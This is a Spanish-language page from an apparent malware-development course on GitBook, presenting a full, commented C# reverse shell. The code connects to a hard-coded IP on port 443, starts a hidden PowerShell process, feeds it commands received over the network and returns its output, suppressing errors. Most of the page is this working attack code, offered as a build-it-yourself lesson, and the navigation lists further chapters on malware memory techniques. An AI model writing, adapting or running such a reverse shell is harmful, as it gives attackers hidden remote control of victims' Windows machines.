Malware
  • La Biblia del Desarrollo de Malware para Windows
  • Introducción al Malware
    • ¿Qué es el Malware?
    • La Historia del Malware
    • Clasificación del Malware
    • Métodos de Distribución del Malware
  • Los Malwares Más Impactantes de la Historia
    • Stuxnet: El Malware que Destruyó una Planta Nuclear
    • Pegasus: El Malware Espía de Nivel Estatal
  • Introducción al Desarrollo de Malware
    • Herramientas y Lenguajes Más Comunes en el Desarrollo de Malware
    • Lenguajes Recomendados para el Desarrollo de Malware
    • Binarios Famosos de Windows y sus Lenguajes de Desarrollo
    • Fundamentos de compilacion
    • Nuestro primer "Malware"
    • Malware: Del Disco a la Memoria
  • APIs de Windows
    • Windows Internals
    • Windows on Windows (WOW)
    • Bibliotecas DLL en la Tecnología WOW64
    • Win32 APIs: El Corazón del Desarrollo de Software en Windows
      • Componentes Clave de las Win32 APIs
      • Cómo Funcionan las Win32 APIs y su relacion con el Malware
      • Uso de Win32 con C#
    • Kernel32.dll: La Biblioteca Fundamental en el Sistema Operativo Windows
      • VirtualAlloc en C#: Asignación y Gestión de Memoria
      • RtlMoveMemory: Copia de Memoria en Windows
      • CreateThread en C#: Creación y Manejo de Hilos
    • AllocationType y MemoryProtection
    • Windows Registry
  • Shell Reverse
    • Fundamentos de reverse shell
    • Desarrollando Nuestro Primer Simple Reverse Shell via TCP
      • C#
      • PowerShell
      • Python
Powered by GitBook
On this page
  1. Shell Reverse
  2. Desarrollando Nuestro Primer Simple Reverse Shell via TCP

C#

El siguiente código es un ejemplo de un reverse shell en C#, donde un cliente TCP se conecta a una dirección IP específica y a un puerto determinado (en este caso, 172.27.131.49 en el puerto 443). Una vez que se establece la conexión, el proceso de PowerShell es iniciado en el sistema objetivo, y cualquier comando recibido a través de la conexión de red es enviado a la entrada de PowerShell, mientras que la salida de PowerShell se envía de vuelta a la conexión.

using System;
using System.Text; // Importa el espacio de nombres para usar StringBuilder.
using System.IO; // Importa el espacio de nombres para trabajar con Streams.
using System.Diagnostics; // Importa el espacio de nombres para iniciar procesos como PowerShell.
using System.ComponentModel; // Importa el espacio para manejar eventos.
using System.Linq; // Espacio para trabajar con LINQ, no se usa en este código pero puede ser útil.
using System.Net; // Importa el espacio para trabajar con redes.
using System.Net.Sockets; // Importa el espacio para trabajar con conexiones TCP.

namespace ConnectBack
{
    public class Program
    {
        // Definimos un StreamWriter que se usará para enviar la salida de PowerShell al servidor remoto.
        static StreamWriter streamWriter;

        // Método principal del programa, que establece la conexión y maneja la ejecución del reverse shell.
        public static void Main(string[] args)
        {
            // Establece una conexión TCP con la dirección IP y el puerto especificado (servidor atacante).
            using (TcpClient client = new TcpClient("172.27.131.49", 443))
            {
                // Obtiene el flujo de la red para leer y escribir datos.
                using (Stream stream = client.GetStream())
                {
                    // Crea un StreamReader para leer datos del servidor remoto y un StreamWriter para escribir datos al servidor.
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream); // Inicializa el StreamWriter para escribir en el flujo.

                        StringBuilder strInput = new StringBuilder(); // Usamos StringBuilder para construir la entrada.

                        // Inicia un proceso de PowerShell en el sistema objetivo.
                        Process p = new Process();
                        p.StartInfo.FileName = "powershell"; // Especifica que el proceso a iniciar será PowerShell.
                        p.StartInfo.CreateNoWindow = true; // No crea una ventana de PowerShell.
                        p.StartInfo.UseShellExecute = false; // No usa el shell del sistema para ejecutar el comando.
                        p.StartInfo.RedirectStandardOutput = true; // Redirige la salida estándar (lo que imprime PowerShell).
                        p.StartInfo.RedirectStandardInput = true; // Redirige la entrada estándar (lo que PowerShell lee).
                        p.StartInfo.RedirectStandardError = true; // Redirige los errores estándar (errores de PowerShell).

                        // Configura el manejador de salida de PowerShell.
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start(); // Inicia el proceso de PowerShell.
                        p.BeginOutputReadLine(); // Comienza a leer la salida estándar en segundo plano.

                        // Bucle infinito que lee comandos del servidor y los pasa a PowerShell.
                        while (true)
                        {
                            // Lee una línea de comando desde el servidor.
                            strInput.Append(rdr.ReadLine());
                            // Escribe el comando leído en la entrada estándar de PowerShell.
                            p.StandardInput.WriteLine(strInput);
                            // Limpia el StringBuilder para leer el siguiente comando.
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        // Método que maneja la salida de PowerShell y la envía al servidor remoto.
        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder(); // Usamos StringBuilder para construir la salida de PowerShell.

            // Si la salida no está vacía, la procesamos y la enviamos al servidor.
            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data); // Agrega la salida de PowerShell al StringBuilder.
                    streamWriter.WriteLine(strOutput); // Escribe la salida en el flujo (la envía al servidor).
                    streamWriter.Flush(); // Asegura que los datos se envíen inmediatamente.
                }
                catch (Exception err) { } // Captura cualquier error, pero no hace nada con él.
            }
        }
    }
}

El resultado de lo anterior es:

PreviousDesarrollando Nuestro Primer Simple Reverse Shell via TCPNextPowerShell

Last updated 5 months ago